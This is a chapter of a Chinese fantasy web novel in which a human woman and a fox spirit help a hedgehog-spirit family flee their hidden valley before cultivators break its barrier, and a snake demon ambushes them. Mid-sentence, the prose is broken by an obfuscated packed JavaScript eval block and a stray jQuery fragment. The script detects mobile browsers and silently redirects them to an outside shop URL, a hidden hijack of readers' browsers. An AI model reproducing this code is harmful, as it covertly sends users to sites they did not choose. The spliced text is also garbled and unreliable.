“怎么突然问这个?”玉香乱被问得一愣,眼神诧异地看向赫望月。
而且这个问题,她总觉得有些耳熟。
但门外的赫望月没动,他依然定定地望着她。
玉香乱抿起唇深吸一口气,有些无奈地回答,“我的愿望当然是活下去。如果能加前提的话,那就是舒舒服服的活下去。你听谁说的,我的愿望是嫁给顾无咎?”
“之前在苍云上,你对顾公子十分上心。我当时将他推进山洞的通道内,但是为了不伤他,所以并未用全力。最终他能离开山洞,想必你背出去的。我还以为……”
赫望月眼神游移了一下,随后又坚定地锁在玉香乱身上。
“我还以为你很爱恋他。”
玉香乱眨眨眼,似乎在思考他的话。
默了默她咂了下嘴,语气带上些无奈,“我救他是出于责任啊。因为我的缘故他才去苍云山,才会在山里被妖怪所掳。我有带他回家的义务。”
“那现在呢?你并没有救白伯父一家和…我的义务。你是人,又是顾无咎的未婚妻,即便你什么都不做,他们也不会伤你。你又为什么要帮我们?”
听他这么说,玉香乱微微撅了下嘴,一手扶着自行车一手叉腰道,“因为我有良心啊!白先生救了顾无咎也救了你,虽然是因为你和白先生有故,但终究是帮了我。现下他遇到困局,力所能及之处,我自然是要帮的。”
玉香乱看着赫望月,深吸一口气后松懈了肩膀,叉腰的手也放了下来。
“虽然不知道你为什么会这么问,但当务之急是帮白先生一家离开苔痕坞。你要是还有其他想知道的,等我们顺利跑路之后再问吧?”
这次赫望月没有再犹豫,他点点头经过玉香乱,先一步迈进了大门。
“你说得对。现在我去劝白伯父,你去套车吧。稍后我会带白伯父他们去马车那里。”
*
正屋的榻上,白乔月和白乔阳正赖在白先生身上。一个抱着他的肩膀,一个趴在他腿上眼巴巴的看着他。
“爹~我们不救顾哥哥和苏姐姐好不好?”
白乔月下巴搭在自家老爹肩膀上,眼睛忽闪忽闪的。
“我也希望他们能离开。”
白乔阳附和着妹妹的话,脑袋一歪靠在白先生肚子上。
“刚刚我和妹妹在后街那里遇到他俩,感觉他俩怪怪的。”
“就是就是!他刚醒过来的时候就凶我,说话还阴阳怪气的,我不喜欢他。”
白先生被两个孩子缠得头疼,叹息一声将孩子从身上扒拉下来。
“病好了就让他俩走,不会久待的,你俩暂且忍忍。”
“不嘛~~”两小只异口同声的耍赖道。
只是还没等他俩继续撒娇,门外传来了敲门声。
咚咚。
“白伯父,侄儿有话和您说。”
“是赫哥哥!”
刚被扒拉下来的白乔阳和白乔月一骨碌下了榻,没等白先生开口就一起跑过去开了门。
“赫哥哥,我爹在呢。”
赫望月的两只手被一左一右的牵住,两个孩子将他拉进了屋内。
一抬头就看见榻上的白先生衣服和头发蓬乱,见他来了正开始动手打理。
“你刚刚不是去采九窍菩提子了吗?这时候找我是有什么事?”
赫望月低头看了看两个孩子,又看看白先生,似乎是在征求他的意见。
“直说无妨。”
赫望月点点头,沉吟了一下直入重点,“白伯父,有人类修士即将击破苔痕坞结界,侄儿希望您能带着乔阳和乔月暂时离开避难。”
他将苏凌霜和顾无咎的对话,以及太虚剑宗的修士的计划简明扼要的全盘告诉给白先生。
默默听完的白先生扶着额头嗤笑一声,“我好歹是救了他,他就如此回报我?”
“这次的事皆因我而起,我知您心善并未做错任何事,但咱们和修士怕是难以说清…”
说到这他顿了顿,仔细观察着白先生脸色,见他尽管神情愤懑,可最终还是没说什么反对的话。
“当初我白家老祖救死扶伤无数,却被人类恩将仇报。老祖心灰意冷,这才辟出此方苔痕坞,此后白家代代避世而居。”
白先生低垂眉眼,脸上的表情疲惫中夹杂着无奈,“这都多少年过去了,没想到这外间的人还是一个德行。”
“伯父……”
“罢了。你既已如此跟我说,那对方怕是来势汹汹。”
自他叹息时,两个孩子就松开了赫望月的手回到了自己爹爹身边,抓着他的衣摆担忧地看着他。
白先生抬手摸摸两个孩子的头发,“那就走吧。只是我现在行动多有不便,乔阳和乔月还年幼,怕是还得有劳你了。”
“伯父哪里的话。此次苔痕坞一事责任在我,这都是我该做的。”
*
进了院门后,赫望月就化作一缕轻烟飞向正屋,而玉香乱则跨上她的自行车飞快奔到后院。
她把马槽里的草一股脑捞出来,全都塞到了马嘴里,“你趁着现在快点吃,等会可就没机会了。”
马吃草的功夫,她又用马厩里的绳子将自行车捆在了马车的车厢后面。
打开马厩旁小茅屋的门,里面那个被赫望月幻化出来的马夫正直挺挺的站在里面。
“出来套马吧,你来活儿了。”
看着马夫将马车套好,玉香乱重新检查一遍,确实无误之后就准备去看看赫望月和白先生谈的怎么样了。
她才刚走出没两步,就见赫望月怀里抱着一大两小三只刺猬赶了过来。
“久等了,我们现在就走吧。”
见状玉香乱愣了一下,“怎么不是人形?”
然而她很快就明白了其中原因。
赫望月和玉香乱将三只白姓刺猬安顿好后,自己也跟着上了马车。
原本宽敞的车厢塞进两个大活人加三只大刺猬后明显变得有些拥挤。
变成刺猬尚且觉得拥挤,这要是变成人车厢里怕是就坐不下了。
不过事态紧急也顾不得许多,车里的人坐好后,车夫一挥马鞭。
啪——
马儿吃痛发出一声嘶鸣,随即迈开步伐跑了出去。
苔痕坞不大,几人离开白家院子后很快来到一处山口。
赫望月说这里是苔痕坞的结界和人界交汇处,穿过这里就是人间界了。
只是未等马车穿过,原
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718238|208283||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
本疾行的马突然前蹄高扬,生生止住了前进的步伐。
车厢里的人被这一下晃得晕头转向,赫望月赶紧掀开车帘查看。
只见原本夜间墨蓝色的天空中,此刻正有一丝白色逐渐在空中皲裂开来。并且裂痕逐渐变粗,像是裂开的镜子一样。
“有人在攻击结界!结界快要撑不住了!”
赫望月赶紧指挥马夫,“快!掉头向后撤!”
在他掀开车帘的时候,坐在外侧的玉香乱也看到了这一幕。
“不对啊!他们说的时间不是这个时候!为什么现在就会……”
还不等马车掉头,前方结界连接处的裂纹便从空中快速扩散到地面。
随着“咔”的一声,结界碎裂开,一根长枪携着极强的冲击力迎面冲来。
“白伯父,小心!”
赫望月将玉香乱一把拉入怀中,用长袖完全盖住。接着幻化出巨大的狐尾,用力一甩卸掉了最强的一波冲击力。
但即便如此,马车还是被冲击力撞飞,在空中裂开了。
玉香乱被赫望月护着,白乔阳和白乔月则在冲击力触碰马车的瞬间被父亲拉到怀中,白先生瞬间卷成一个巨大的刺团。
飞沙走石还未散去时,一道陌生中带着熟悉的声音自外飘进来。
“呵呵,挺会躲啊~让我好找。”
黑色鳞片覆盖的蛇尾在地上拖行出长长的蛇形痕迹,立起的类人上半身的皮肉全是深深浅浅的红色。皮肉似乎被火炙烤过,月光照耀下反着硬质的光泽。个别翘起的硬皮处,偶尔有鲜血随着动作丝丝淌出。
玉香乱透过袖子的缝隙看到了进来的东西,手指猛地攥紧布料。
她认识它!
它是之前那个蛇妖!
在她看着蛇妖的时候,蛇妖似有所感一般扭头看来。只见它竖瞳猛缩,几乎变成一根黑色的细线。
“找到你们了!骚狐狸,还有——”
它手里的长枪随手舞了个枪花,周围的飞扬的尘土碎石也随着长枪舞动。
蛇妖猛地一震枪杆,原本缠绕在它周身的尘烟瞬间退散。
它枪尖直指赫望月怀里的玉香乱,“还有你这个人类。胆敢伤我至此,我定要你们付出代价!”
最后一字的话音未落,蛇妖已消失在原地。
玉香乱没等看清情况,只见赫望月拦着她一旋身将她藏在怀里,赤红的狐尾用力一甩。
铛——!
一声金属相击的声音响起,赫望月接着惯性朝地面猛冲。
预想中的痛感没有到来,只是原本遮挡在眼前的广袖收了回去,月光重新照在了玉香乱身上。
赫望月将她放在地上后,转身幻化出长剑朝着空中的蛇妖迎过去。
“为什么它会在这里?它不是死了吗?!”
没等她想明其中缘由,赫望月似乎是为了避免波及此处,在空中边打边退,引着蛇妖往远离这里的方向而去。
马车已经碎了,白先生一家不知落在何处,玉香乱站起身环顾四周感觉十分无措。
但这种感觉并没有持续很久。
因为夜风带来了不远处的声响,那声音在说——
“师叔!结界不知为何破了!”